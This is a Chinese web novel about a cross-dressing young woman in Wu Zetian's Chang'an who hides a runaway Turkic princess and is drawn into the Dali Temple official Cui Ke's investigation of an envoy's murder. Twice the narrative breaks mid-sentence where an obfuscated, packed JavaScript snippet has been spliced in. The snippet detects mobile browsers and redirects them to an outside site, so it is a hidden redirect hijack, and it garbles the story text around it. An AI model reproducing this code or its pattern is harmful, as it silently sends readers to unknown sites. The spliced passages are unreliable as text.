《死而复生在我娘武则天称帝后(探案)》 1. 第一章 永徽年间,唐高宗李治秘密下令成立情报组织天枢阁,网罗天下奇人异士,为朝廷卖命,使之成为周旋在各方势力中的暗流推手。 数十年后,武后登基称帝,天枢阁部分核心成员因知晓太多秘密,选择脱离朝廷掌控,转入地下。 朝廷多番派人追寻,始终无果。 这日,突厥使臣进谏,与武后商讨和亲事宜。 午时刚过,长安城内涌现大量金吾卫,好像丢了什么要紧的人。 长安酒肆内,空气中弥漫着新丰酒的醇香和奇异香料的香脂气味。 台上胡姬踏鼓起舞,足踝间系着的金铃清脆作响,合着来往尊客高谈阔论的声音。 无人在意的角落,神色紧张的红绫伸手扯着桌边独酌的上官琢玉的衣袖,低声劝道:“您怎么又穿成这样,秦姨和花大叔看到,非连我一块罚不可。” 刻意扮成胡人男子的季琢玉大马金刀坐姿,右脚踩在矮几上,左手端着葡萄酒杯,抖腿哼曲,散漫随意地吐掉葡萄籽。 “我今日只是听个曲看个歌舞,你慌什么,有你替我瞒着,他们又怎么会知道。” “红绫不能撒谎。”红绫的脸拧成麻花,一本正经地小模样跟周遭的环境格格不入。 季琢玉眼角微微上挑,拍了拍手上的点心渣子,抿着嘴角站起身往外走。 “榆木脑袋,小爷这就跟你回去还不成吗?” 红绫眉头舒展,松了双手,呼出一口气,赶紧跟上她的步子。 长安城中哪儿有女子像她这样,整日扮成男子模样,一句一个小爷,闲逛在酒肆青楼的。 两人刚走出酒肆,季琢玉似乎看到什么新奇玩意,用手指着远处铺子道:“红绫,我想吃一碗杏酪,你去帮我买来。” 西市食店中就不远处的张记杏酪店今日排队的人最多,偏偏季琢玉指的就是这家。 红绫看一眼排队的人,又看向季琢玉,再三嘱咐:“姑娘,今日长安城内不太平,您在原地等我,哪儿都别去,我去去就来。” 若不是今日金吾卫突然挨家挨户搜查,闹得坊间不安宁,秦姨也不会青天白日的让她出来找小姐。 季琢玉点头应声,等红绫没入人群,她便钻进了旁边的铁匠铺里。 “店家,我要的东西打好了没?” 后坊铁匠应声答道:“好了好了,季小爷,您的东西我一早就给赶制出来了。” 季琢玉摸出一锭银子拍在铁案上,随后拿走铁匠递过来的簪刃。 银光闪闪的簪子小巧精致,簪头处是一朵含苞待放的莲,簪体抽开内嵌锋利短刃。 “谢了。” 季琢玉满意地收起簪刃,藏于腰带间,豪气十足地谢过铁匠。 江湖泼皮做派让人忽略她那张过分清秀白皙的脸,靛青色圆领窄袖胡服下的身形更是异常单薄,裸在外面的脖颈,线条细腻,肌肤莹白如玉,绝非寻常男子所有。 季琢玉一只脚刚迈出铁匠铺,便看到红绫揣着杏酪在外头寻她,她赶紧收回脚,改了主意从铁匠铺后坊溜出去。 做贼似的穿过两条巷子,躲过红绫和巡逻的金吾卫,怎料一抬头撞上一个活生生的人。 从下到上打量一番,年纪不大的女人,颧骨高且锋利,目光犀利如鹰隼。 粗布衣裳松松垮垮勉强能挂在身上,显然这身衣裳此前不属于她。 没等季琢玉开口询问,女人慌慌张张抓住她的小臂,微微弯腰神态焦急地乞求。 “这位公子,求您救救我,给我找个藏身之地,我家中父母要将我卖给七旬老翁做妾,我好不容易逃出来,恐又要被抓回去。” 季琢玉审视她一眼,漂亮眸子一转,故作惊讶地附和道:“竟有这样的事?” 女人连连点头,哭得梨花带雨,再怎么装柔弱,眼中锐气如小狼一般不减分毫。 “旁边戏班子的班主与我相熟,你如此苦命,我怎么能袖手旁观,随我来吧。” 季琢玉一拍胸脯,反攥住她的手腕将她一并带进宜春班。 两人一前一后刚进去,金吾卫便浩浩荡荡赶到,盘问百姓,咄咄逼人。 “见没见过一个胡族女子?” 路过此地挑着梨子卖的小贩被拦住。 “没,没见过,官爷,我做的都是小本买卖,哪儿能瞧见什么胡族人啊。” “要是让本将军知道你瞒而不报,连同你家中妻儿老小一同问斩!” “是,是,官爷,您就是借我十个胆,我也不敢欺瞒官爷啊。” “走,继续搜查。” 一墙之隔的院子里,女子被五花大绑在椅子上,季琢玉站在她面前,一脚踩在板凳上,单手把玩着闪着银光的锐利簪刃。 “公子,你让人绑我做什么,我一个弱女子……” 季琢玉抬眼看她,威胁地口吻:“我问你什么,你就答什么,你也看到了,我不是什么良家公子,什么事都能干得出来。” 被绑在椅子上的胡族女人点头如捣蒜。 靠在藤架边的宜春班班主秋娘,看戏似的表情,手里还捧着炒瓜子,边嗑瓜子边看她们,绣花鞋边吐了一地瓜子壳。 “名字。” “小……小雅。” “来长安干什么的,那些金吾卫为什么抓你?” “跟随突厥使臣来长安朝见大唐皇帝,公主丢了,我是公主的贴身女婢,那些金吾卫是来抓我回去下狱的。” “公主失踪真的跟我无关,我什么也不知道,使馆的人却冤枉是我放走了公主,他们就是想拿我当替罪羊。” “公子,您一看就是良善之人,您不会把我交给外面的金吾卫的,对吗?” 苏拉雅一口气把话说完,眼里噙着黄豆粒大小的晶莹泪珠看着季琢玉,感情真切。 她想活命,倒是真的。 季琢玉回头看向不远处的秋娘,两人对视一眼,她收起簪刃走过去,附耳小声交谈。 “你怎么看?” 秋娘嗑完最后一个瓜子,拍了拍手上的瓜子皮碎渣,盯着苏拉雅,同季琢玉严肃道:“突厥使臣送来和亲的公主确实失踪了,她所言不假。” 秋娘收回目光,清冷如一抹浅淡月色的目光落到季琢玉脸上,又继续说:“但她的话不能全信,公主失踪与她十有八九有干系,不然她跑什么?那些使馆的大臣怎得不找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15776221|174734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旁人问罪,偏偏找她一个小女婢。” 季琢玉深思片刻,一字一句说:“我不这么认为。” “你觉得她是清白的?”秋娘疑惑不解,情急之下伸出食指指向不远处的苏拉雅。 苏拉雅脸色又白了一个度。 她不是怕眼前这两个人杀了她,这两人一看就没杀过人,她是怕被交给官家人。 季琢玉眼神坚定,跟秋娘解释道:“不,依我看,她根本不是什么女婢,她是突厥送来的和亲公主。” 秋娘眼睛一亮,又仔仔细细多看了两眼苏拉雅,更多的是好奇。 早就听闻突厥和亲公主不是寻常女子,貌若仙娥,胆量过人,没想到竟能做出违抗圣旨的事情。 这样的女子,无论是大唐之人还是胡族人都让人佩服。 “怎么见得?” 季琢玉嘴角上扬,不紧不慢地说下去。 “她手上戴的青铜箭簇指箍,只有突厥王室才能随身佩戴,换了衣服乔装打扮却忘记摘下指箍,说明这指箍她戴的时日足够久,久到忘却。再者今日长安城中的金吾卫数量增加了不止两倍,只是搜寻一个使馆女婢,用不着如此大张旗鼓。” 秋娘点了点头,问道:“那我们现在要怎么做?把她交出去,就说是偶尔撞见了,金吾卫那群人不会为难我们的,还是说……继续把她藏在这,等金吾卫走了再放她出去。” 正当季琢玉要拿定主意的时候,外面突然响起金吾卫大将军的声音。 “崔大人,您怎么来了,陛下不是把找人的事交给我们禁军了吗?” “突厥使者波鲁一个时辰前被发现死在使馆里,证据指向公主杀人逃匿,陛下已将此案交由大理寺审理。” “这……公主还没找到,不如卑职找到公主后再将公主移交给大理寺,崔大人意下如何?” “哦?严将军是觉得大理寺能力不抵金吾卫,找不到人?” “卑职不敢。” “来人,传本将军的话,所有人撤回仗院。” 院中秋娘与季琢玉对视一眼,同时警惕地看向被绑着的苏拉雅。 突厥公主不满与大唐和亲,杀了随行的使者逃匿,倒是也说得通。 使者一死,无论是谁杀的,都会引起突厥可汗的愤怒,大唐如何不把此事尽快解决,怕是会引起不必要的边关战事。 苏拉雅感觉到被怀疑,情急之下忘了方才刚编的谎话,脱口而出:“人不是我杀的,今早我见到波鲁的时候他人还活着。” 季琢玉走上前,嘴角浅浅勾起好看的弧度:“你承认你是突厥公主了?” 苏拉雅沉默不语,又重复一遍刚才的话,“人不是我杀的,不杀波鲁我也能逃出使馆,我杀他只会提前暴露出逃的事情。” 季琢玉扭头与秋娘眼神交视,秋娘应了一声,显然两人与苏拉雅的想法是一样的。 苏拉雅出逃和使馆使者的死,应该是没有干系的,至于大理寺的人为什么说证据指向公主杀人,这就得由大理寺那群饭桶去查了。 咚咚咚—— 院门外一阵有力的敲门声。 “大理寺奉命搜查,速速开门。” 2. 第二章 季琢玉赶紧叫上秋娘一同把苏拉雅身上的绳子解开。 “你带她进去,我来应付这些官差。” 秋娘将绳子塞给季琢玉,说着就要往院门走去。 “等等。”季琢玉喊住秋娘,上跑上前,说道:“他们进来势必要挨个房间搜查,想藏人是藏不住的,我来拖延时间,你带她进去,扮上戏妆,再叫上几个人,送这些官差们一出好戏。” 苏拉雅眼睑下垂,似不解眼前的公子为何费尽心思冒险救她。 不是贪财便是好色,这世间男子又有几个是正人君子? 院门被砸的声音更响了。 “大人,这院子有问题,里面分明有脚步声,却没人应声开门,要不要属下……” 话音未落,“哗啦”一声木门被敞开。 季琢玉看见门外站着的人,瞬间瞪大眼睛,如果不是青天白日,她真以为自个是遇见神仙了。 这世上,竟有长得如此貌美的男子。 比她看过的画本上的俊俏公子哥还要好看数倍。 骨相清峻,眉眼如画,身姿颀长,一身绯色官袍,气质昂然。 真是惊为天人。 倘若没穿那身骇人的官服,又是个女子,长安城最有名的青楼醉花楼的花魁在他面前也要黯淡无光。 “胡人?” 崔恪眼眸深邃,盯着季琢玉,沉静如寒潭秋水。 轻抿薄唇微动,恰到好处的悦耳声音荡进季琢玉耳朵里。 她杵在院门中间,如时辰不再变动。 “你愣着做什么,还不快见过大人?” 崔恪身边的护卫持刀,见院中并无他人,稍稍放松警惕,出言提醒。 季琢玉回过神来,一副坊市小贩阿谀奉承官家的作派,嬉皮笑脸说:“小的见过大人,不止大人来访所为何事?” “回答我方才的话。”崔恪用锐利的目光审视她,仿佛能洞察人心。 冷硬的声音如同一盆寒冬腊月的雪水浇到季琢玉头上,她吓得嘴唇颤抖。 她方才脑子被木门夹过了,才会觉得眼前这个男人俊朗貌美。 “是……是胡人。” 她不假思索回答,话还没说完,就被崔恪眼神下令扣下了。 两个护卫按住她的肩膀,压得她直不起腰,胳膊像是被扭断了的疼。 “疼……好疼,大人您抓我做什么,小的是胡人不假,难不成长安城里的院子不许胡人住?” 站在崔恪身边的护卫皱着眉头,拔出佩剑护在自家大人身边。 “大人,这人在撒慌,他根本不是胡人,分明是我大唐男儿,却扮作胡人,居心叵测,属下这就将他带回大理寺严刑拷打。” 季琢玉倒吸一口冷气,她扮胡族男子也有数月了,从未被人识破过,今日竟被一个护卫给看穿了。 忽然又想到什么,不可思议地看向绯色官袍加身的大人。 既然看她的第一眼就已经识破她的假身份了,干嘛还要再盘问她。 眼看就要被护卫强行带去大理寺行刑了。 “慢着。”崔恪突然开口,顿了顿说道:“此人不急于审,先去搜查院子。” 季琢玉担心秋娘尚未给公主扮好装,心一横下定决心要拖住眼前办案的大官。 “大人,小的冤枉啊,您明察秋毫,小的并非胡人,而是宜春班的人,正在院子里排一出胡戏,怎料大人造访,小的头一回见大人,惶恐万分,一时说错了话。” “惶恐万分?”崔恪垂眸睨眼自己被拽住的衣袖,沉声如钟,听不出半分喜怒。 有胆子扯着他的官袍,在官家人面前撒谎,哪儿像是惶恐畏惧的样子。 一道刺目的剑鞘银光从季琢玉眼前划过,冰凉锋利的剑刃抵在她的白皙滑嫩的脖侧,稍进分寸便能取了她的小命。 鲜黄的夕阳落在她的侧脸上,双睫慌乱眨动如蝴蝶翼,流转的眸光中杀气稍纵即逝,忽然跪倒在地上,双手拽着绯色官袍随风摆动的下摆。 “大人,您别杀小的,小的没有半句虚言,院中确实在排胡戏。” 季琢玉话音刚落,内院便传来敲锣打鼓声,几个胡人牵着假骆驼,捧着宝箱走出来,用顶好的唱腔演一出胡戏。 “阿伊莎,你有何~冤屈?” “大人~我本是疏勒舞娘,怎得在长安城中遇上欺男霸女之人,太尉之子高衙内,此人将我掳去,强行关押深院之中,我苦不堪言,愿将随身珠宝尽数奉上,只求大人将恶人抓拿归案啊~啊。” “你所言属实,本官定然不会放过此等恶人,长安城中皇子犯法与庶民同罪。” …… 唱戏的阿伊莎一身舞裙背对着院门,扮作审案清官的人是秋娘不假。 季琢玉与秋娘对视一眼,便明白该如何打发掉门外的官差。 她脸上陪笑,低三下四地跪在绯色官袍前,说道:“大人,这出戏叫《胡旋舞》,您大驾光临,宜春班上上下下蓬荜生辉,不如您赏我们个恩赐,看完这出戏再去查案?” “大胆!”护卫横眉冷对,一脸严肃地呵斥跪在地上的季琢玉:“我们大人是大理寺少卿崔大人,向来不喜低俗之乐,怎会看你们什么胡旋舞。” 季琢玉瞳孔微缩,抓着崔恪官袍的双手缓缓松开,如临大敌。 大理寺卿崔……崔恪,人称铁阎罗,办案手段狠辣,长安城中没有他查不清的凶案,进了大理寺牢狱的人,在他手下,不是血流成河就是剔骨碎肉。 城中百姓都说他长得凶神恶煞,身形魁梧如兽,怎得他跟传闻不一样。 大理寺那么多官差,今日偏偏碰上他。 此人不能惹。 这时,搜查院子的随从护卫从院子里撤出来,禀明崔恪:“启禀大人,院中没有发现可疑之人,查过过所,是从洛阳来长安的戏班子。” “是啊,大人,我们都是苦命之人,靠着唱戏勉强糊口,千里迢迢从洛阳来到长安,哪儿敢惹上官家的事。” 季琢玉平日跟宜春班的人走得近,又闲着跟秋娘学了些唱戏的神韵动作,这会儿扯谎扮起戏子得心应手。 院子里《胡旋舞》再次响起,敲锣打鼓吹拉弹唱划破云端,吵得人头疼。 “我们走。”崔恪随手一挥官袍袖摆,收起逼人性命的长剑,步伐沉稳率先离开,身后的随从护卫有条不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15776222|174734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紊快步跟上。 季琢玉快速从地上爬起来,钻进院中,反手把木门严严实实锁上。 “秋娘,还好你机灵,懂得我的意思,被那铁阎罗带走,我不死也得丢半条命。” 秋娘摘下头上的乌纱帽,用手抹去额间的虚汗,直言道:“是她听出你话里的意思,叫我们扮作胡人,替你圆谎。” “谢过苏拉雅公主。”季琢玉抱拳行礼,微微弯腰,倒是与方才泼皮的做派判若两人。 苏拉雅警惕地看她,试探问:“你知道我的名字?” 季琢玉漫不经心走到石桌前,倒上一杯茶水,一饮而尽,才说:“早就听说突厥人要来和亲,带来的和亲公主名为苏拉雅,擅柘枝舞,身姿婀娜,貌若天仙。” 苏拉雅放在腿侧的双手微微攥成拳头,眼底酝酿着一团嫌弃的神色。 他救她,果然是为了美色。 “苏拉雅谢过公子和班主的救命之恩,等本公主回到牙帐,便叫人送一份厚礼来。” 季琢玉想到什么,严肃口吻:“你想回去,恐怕没那么容易。” 苏拉雅误以为季琢玉要对她做什么,脸色一变,如鹰般锐利的杏眼盯上她。 “你什么意思,你救了本公主不假,但本公主也救了你,算是两不相欠,想拦我去路,还要看你有没有这个本事。” 不容季琢玉说什么,她先动起手来,几招过后,她便意识到只是赤手空拳她不是眼前人的对手。 她掏出身上揣着的精致瓷瓶,趁季琢玉躲闪之时,拔开塞子将里面的什么东西洒在她的面前。 白色的细粉末如寻常面粉,夹杂着呛鼻的香气,又像是突厥人特有的某种香粉。 季琢玉捂住口鼻,咳嗽几声,等到眼前香粉散尽,苏拉雅已然不见踪影。 秋娘不会武,只能在旁边看着,她也没瞧见突厥公主是怎么离开院子的。 她有这等本事,使馆使者倒真像是她杀的。“琢玉,你没事吧。” 秋娘快步上前扶住季琢玉,气不过嘟囔:“我们好心救了她,她竟然恩将仇报与你大打出手。” “我却不明白,既然大理寺和金吾卫的人都走了,为何不叫她赶紧离开?” 季琢玉望向院门,表情凝重:“这会儿大理寺的人怕是已经跟上她了。” “你是说,那位崔大人识破了我们的计谋,故意引蛇出洞?”秋娘仔细一想,明白季琢玉的意思。 怪不得崔恪没有亲自进来搜查,只听信护卫的话就轻而易举地离开。 他是早有定夺了。 季琢玉点点头,觉得身体有些异样,可自行探脉后又什么发现也没有。 大概是突厥人特有的香粉过于浓烈刺鼻,她吸入不少,难以适应。 “那公主会不会有危险?” 秋娘虽然不喜苏拉雅的所做作为,却也是良善之人,使馆使者遇害,公主出逃,怕是大唐与突厥和亲之事有人故意从中使坏。 “不会,崔恪不属于朝中任何势力,与外番更无来往,他跟踪公主只是想查明使者被害一案。” 季琢玉这番话说的笃定,像是对崔恪的为人做事极为熟悉。 3. 第三章 “你今日怎得如此了解那大理寺少卿,你平日不是常说朝廷里的人都是酒囊饭袋吗?”秋娘似笑非笑,她方才可都看到了,这丫头瞧见崔大人的时候,双眼都看直了。 还从未见市井坊街间大名鼎鼎的季小爷有过那副“不值钱”的神情。 “我……我哪里了解他了,秋娘你休要胡说,我在你这耽搁的时辰够久了,红绫这丫头榆木脑袋不找到我是不会自个回去的,我得去找她了,改日再来跟你玩。” 季琢玉急着回去,与秋娘告辞后,匆忙赶到张记杏酪铺。 店家已经关门,临到宵禁,西市没几个人,只有个挑着梨子的小贩。 “诶,等等,给我来两斤梨子,顺便跟您打听个人,您瞧没瞧见有个穿绛色襦裙,梳双垂髻的小丫头,大概这么高。” 季琢玉在自己胸前以上比划了一下,红绫虽是秦姨从人牙子手里买来的丫鬟,却与她朝夕相处多年,在她心里如亲生妹子一般。 找不到红绫,她是不会回去的。 “有,有,还真有这么个人,我方才从永兴坊过来,瞧见她往那边走了。” 卖梨的商贩挑着担子走了,季琢玉拎着二斤梨子疑惑不解。 永兴坊在东边,秦姨的胡饼铺子在西边,快到宵禁时分,红绫怎会孤身一人往远处去。 天色渐暗,长安城内一片水墨色,红砖青瓦间稀疏红光烛火。 季琢玉背后阵阵冷意,脚下步伐不免加快,漂亮的眼眸警惕四周,眼睑处映照下长睫剪影如树梢枝桠颤动,簪刃在出汗的手中攥得十分紧扣。 夜路她不是没走过,在长安城中的坊市间天不怕地不怕,地痞流氓谁见了她不恭敬喊一声季小爷。 只是,如今她身后跟了尾巴,不清楚是什么人,甩也甩不掉,更不敢驻足回头。 使馆死了人,杀害使者的凶手还未找到,莫不是她点背,叫她碰上了? 她今日就不该出门,又是遇上铁阎罗又是跟公主交手被暗算,这会儿寻红绫又遇上不知道哪路图谋不轨之人。 那人跟了她一条街,眼看前面就是永兴坊,跟在她身后的脚步声忽然加快。 官靴一步步稳稳当当踩在青苔石子路上的声音,如催命符般钻进季琢玉的耳朵里。 就在那人快要靠近她的时候,她攥紧簪刃,转过身去,扬起手臂就要朝着身后的脖子刺过去。 没等她看清身后之人官袍上的花样,腕间被徒手一砍,手中簪刃“哐当”一声飞出去,砸到不远处的墙根底下。 “大……大人?” 季琢玉瞪圆眼睛,右手还保持着握簪刃的姿势,愣愣地看着眼前的崔恪。 他这个时候不应该带人跟踪突厥公主吗,为什么会跟在她身后,这说不通啊。 “你在这做什么?” 崔恪换了一身月白织锦缎的圆领常袍,金丝玉腰带系在窄腰处,单手背在身后,剑眉微蹙,浑身松弛自然,却难掩龙章凤姿。 “快要宵禁了,小的正准备回家呢,大人这个时候也是散值回府?” 季琢玉低着头不敢对视他的眼睛,脑子里不停的想,事情怎么跟她预料的不一样。 他追查凶犯,嫌疑人是公主,按理说该跟踪公主才是,怎么会一路跟着她来到永兴坊。 她没有杀人动机和作案时间,崔恪一查便知。 “来找杀害使者的凶手。” 崔恪说此话的时候,季琢玉分明看到他笑了一下,笑得骇人,可只是一晃神,她觉得是自己看走眼了,他的表情冷若寒霜。 季琢玉从他眼睛里看出了什么,慌忙摆手解释:“大人不会怀疑是小的杀了使者吧,我整日都在长安酒肆中饮酒作乐,店中诸人皆可作证,您素来办案手段了得,肯定不会无凭无据抓人的。” “无凭无据?” “你可知这永兴坊是突厥使者真正遇害之地,你与宜春班众人伙同放走和亲公主又深夜到此地,不是凶手又会是谁?” “我现在怀疑你是外番细作。” 崔恪一言一语不容人反驳,条理至极,面上毫无情绪波动,季琢玉听他说完都要怀疑使者真是死于她手中。 “你诬陷我,什么和亲公主我根本不认识,大人说这是案发之地,旁人不知,依大人多言,难道所有路径此地的百姓,都应该被当作杀人凶手吗?” 季琢玉保持冷静,她没做过的事情,怎么也不会成真。 她只是来找红绫的,什么使馆凶案,什么真正遇害之地,跟她有什么干系。 放走苏拉雅的事情,她打死不承认,崔恪没有证据,还能不顾律法治罪于她不成? 崔恪轻哼一声,背在身后的手拿出来,手里是一个热腾腾的羊肉胡饼。 季琢玉一见胡饼脸色惨白,支支吾吾说不出话,用手指着崔恪,问道:“你,你怎么知道我是谁的?” 他手里拿着秦姨做的羊肉胡饼,是去过秦姨的胡饼铺子了,他查到了她的真实身份。 “我还说什么呢,你这是不打自招吗?” 崔恪将胡饼收起来,眼神轻蔑地扫过她异常白皙的小脸,额头上的汗珠绿豆粒大小,乌黑的鬓角散发着花露油的淡淡香气。 “现在知道怕了?” 季琢玉咬牙切齿,没想到栽在崔恪手里,她季小爷的名号难道就要毁在他手里了吗? “你不许动秦姨,我一人做事一人当,你想抓我回去就抓吧,我绝不反抗。” 崔恪挑眉,半阖眼皮打量她,玩味地口吻:“倒是还没被吓傻,有几分胆量。” 季琢玉吞吞口水,听他这话的意思,是没打算把她带到大理寺去。 “大人既然知晓我并非真凶,就请放我离开,今日就当未曾见过小的……我女扮男装不违背大唐律法,不归大人管,还请大人不要将此事告知他人。” 崔恪似答应点头,嘴上却说着:“我考虑考虑。” 季琢玉差点把后槽牙咬碎,中了苏拉雅的暗算内力损耗跑不动,又心知肚明打不过崔恪,反正他已经知道她是女儿身了,干脆豁出去。 她身体一歪,靠在崔恪胸前 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“大人若是不信,大可探我的内力,我若是与那女子是一伙的,她又怎会暗算中伤我逃走?” 崔恪武功高深,无需真上手去探知她的脉象,只是凑近感知她身上的气息,便察觉她中了突厥一族特有的迷药,浮沤散,此药能使习武之人在短时间内武功尽失。 多年前东突厥可汗曾进贡给大唐一瓶,如今收在大理寺库中。 这么说,和亲公主出逃一事与她无关,今日之事只是阴差阳错。 不知为何,崔恪莫名松了一口气,连他自己都没有察觉。 他收了剑,季琢玉松了口气,心里想着今日被他用剑指着两次,日后他可千万别落在她的手里,不然小爷她肯定报仇。 随行的护卫赶到,手里拿着一个佩囊,恭敬地交给崔恪。 “大人,属下在永兴坊找到了这个,盘问过坊中人,无人认领,属下怀疑这东西是凶手的。” 崔恪手捏佩囊,细看一眼,想要说什么被季琢玉打断。 她言词坚决:“不可能,这佩囊绝对不是凶手的。” 护卫呵斥:“大胆,我家大人自有判断,岂容你一介小民插手此事。” 崔恪手一抬示意护卫退下,问季琢玉:“何以见得?” “这东西一看就是女儿家戴在身上的,永兴坊是繁华之地,多是达官贵族富商文人聚集,来往之人数不胜数,有女子把佩囊丢在这,不足为奇。” “况且我听闻突厥人一个个力大如牛,身高八尺,从不单行,多结伴在长安城中游玩,我猜想杀害突厥使者的人,绝非是女子。” 崔恪面上没什么表情变化,心中想的却跟她一样,他查验过突厥使者的尸体,使者生前跟人打斗过,一般女子应该没有跟突厥人过招的本事。 重要的是,这佩囊绣工针脚与她身上的佩囊一样,这东西的主人与她认识。 “只凭这两点?你就敢断定这个佩囊不是凶手的,未免太草率了。” 4. 第四章 季琢玉犯了难,她对使者被害的详细事情一概不知,只凭着只言片语断言此物非凶手所佩戴,实在是说不过去。 但这东西确实不是凶手的,因为,这佩囊出自她之手,是她前几日送给红绫的生辰礼。 “如果大人愿意让我协助办案,我自然能找到更有力证据证明这东西与此案无关。” 护卫抱剑站在一旁,口气不耐:“你一介草民,大人容你说几句话已经是恩德了,你还想插手此案,你……” “好,本官让你协助办理此案。“ 崔恪同意的十分容易,季琢玉不过随口一说,怎料他就答应了。 护卫话没说完,闻言,惊得险些咬伤舌头,他傻眼看着自家大人,真以为是幻听,眼前这人当真是崔大人吗,莫不是叫什么人易容顶替了。 大人何时如此好说话了,他与大人共事数年,经未曾察觉。 “随我回大理寺。” 崔恪大步走在前面,头也不回,季琢玉得令低着头跟在他身后,她真想给自己一巴掌,让自个多嘴,非要说什么帮崔恪查案。 秦姨和花大叔再三叮嘱她,不可招惹祸事,不可与官家人来往。 她一次性犯了两个错。 话是她自己说的,崔恪也答应了,她不能反悔,只能硬着头皮跟着他去大理寺。 若不定,能找到红绫的下落。 红绫的佩囊出现在永兴坊绝对是意外,她跟使者遇害之事不可能有干系,她只是一个十四岁的孩子。 季琢玉总觉得崔恪身边的护卫看他的眼神有几分敌意,可她此前从未与这个护卫有过什么仇怨。 百思不得其解。 她低着头,随着崔恪的脚步踩在青苔石子路上,忽然抬头眼睛一亮,好似想明白了什么事。 怪不得崔大人多次婉拒陛下赐婚,年过二七不娶妻,府中更无小妾侍女,也未曾有人见过他留宿青楼花船。 原来是……这么一回事。 崔恪站定在大理寺门外,转身对视上季琢玉看他奇怪的眼神,他理了理身上的常袍,面无表情地走进去。 抱剑护卫出声提醒:“季公子,请吧。” 季琢玉眯眼笑笑:“你别多想啊,我只是来查案的,查清此案,立马从你们眼前消失,绝对不会坏了你和崔大人的正事。” 她大摇大摆跟上崔恪的脚步进了大理寺,只留着护卫一人在风中百思不得其解。 “属下和崔大人的正事不就是查案吗?” “季公子说的话,怎么让人听不懂,难道是这几日偷懒没读书的缘故。” “看来该日见到贡院诸位大人要向他们请教一番了。” 大理寺院落大得目瞪口呆,铺满院心的青石方砖,棱角如刀切分明。 庭院两侧排列着冷峻的廨舍,四周一切都跟这里面的官差一样,透着一股子身如灰心如铁的寒气。 季琢玉被突然出现在小径拐角处的一尊獬豸石兽吓到,惊呼出声。 “害怕就滚出去。”崔恪站定在前方不远处,侧身冷眼看她,撂下冷冰冰的一句话继续往前走。 季琢玉快步追上去,小声嘀咕:“不是应该害怕就跟紧我吗?” “你在胡说什么!”崔恪忽有无名之火,从胸腔袭卷身体各处,声音里夹杂着不耐。 季琢玉捂着嘴,吓得站在原地一动不动,跟大人站得近,能清晰看到他压低的眉宇。 “我从画本上看到的,瞎说而已,你别生气。” 只是画本子上的一句话,他就生气了,她更加笃定崔大人不喜男欢女爱,另有其他不方便被人知道的喜好。 他是对男女之事失望了还是受过什么打击,才变成这样的,不被世人所知。 但这天底下还没有她季小爷打听不到的事情,她的人脉遍及长安城大大小小坊市,想打听什么秘密,不出三个时辰定能知晓。 “少看这些无用之书。”崔恪黑着脸,一挥袖进了旁边的书房。 “是,大人。” 季琢玉面上答应着,心里却想着,自己看的那些画本子才不是无用之书呢,她一身本领都是自个学来的,在旁人看来是无用之书,在她看来确实最有用的东西。 秦姨除了教她做胡饼,旁边什么也不教。 至于花大叔,会的倒是多,但却是吹拉弹唱吟诗作曲,描眉梳头沐浴焚香,这些她都不感兴趣。 她从小就崇拜各种奇人异士,偷偷拜师学艺,一身本领就是师傅明镜大师教的。 此事秦姨和花大叔并不知晓,所以她随身连个趁手的兵器都没有,只能让铁匠铺的人给打造一支簪刃,方便藏在首饰盒里。 “坏了,我的簪刃呢?” 季琢玉摸了摸身上,想起丢在永兴坊了,五两银子啊,她攒了半年的零用钱,就这么没了。 “姓崔的,你赔我簪刃!” 推门进去,她苦笑着来到案牍前,顺手给崔恪倒上一杯茶。 “崔大人,咱们查案,有没有补贴啊?” “我的意思是说,外头天热,查案免不了要到处跑,小的倒是不要紧,只是怕大人身体吃不消。” “若是能先支点银子,办案途中喝个茶歇个脚也是好的。” 崔恪放下手中案卷,沉声道:“每日一百文。” “一百文?”季琢玉张着嘴,吃惊的表情。 秦姨起早贪黑卖一个月的胡饼才赚三百文,她帮着崔恪查案,一天就得一百文,这是肥差啊。 “有什么问题吗?”崔恪凝视她的脸,心里盘算着她奇怪的表情,这是嫌少? “没问题,没问题,大人,您日后有什么用得着小人的地方,只管吩咐,不仅是这个案子,旁的案子小人也愿意帮大人查明,作为大唐子民,我……” “好了。”崔恪打断她的阿谀奉承,语气平淡说道:“去把十八叫进来。” “十八?大人您说的是门口那个护卫?“季琢玉看崔恪一眼,点头走出去,纳闷怎么会有人叫这样的名字。 难道崔恪身边还有十五十六十七? 这些人不会都是他的男宠吧,她在画本上看过,前朝就有很多权臣豢养男宠,这些人既要满足权臣的欲望又要为权臣牺牲性命。 崔家人应该算不上大唐权臣吧,崔太傅年事已高,致仕多年,虽在大唐享有威望,连武后都对他十分尊敬,却手中并无实权。 崔恪年纪尚轻,任大理寺少卿,只是个四品官,在 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“起来吧。”崔恪手握案卷,神色凝重,语气沉沉:“她身边有个叫红绫的小孩,估计……凶多吉少,你秘密派人去找,不必跟她提起。” “大人,这跟使者之死有什么干系?”崔十八被自家大人莫名其妙的命令搞得一头雾水,一时丈二和尚摸不着头脑。 “如果没有猜错,带走红绫的人,就是杀害使者的真凶。“ 崔恪从案牍前起身,满墙的书卷古迹与他袖口的水墨青竹颜色一致,随着他起身的动作,宽大的袖口随风摆动,似有竹香暗中袭来。 “大人,您去哪儿?属下让十九前来保护您的安全吧。” “不必。” 崔十八看着自家大人往库房去了,摸了摸后脑勺,转身去带人找寻红绫的下落。 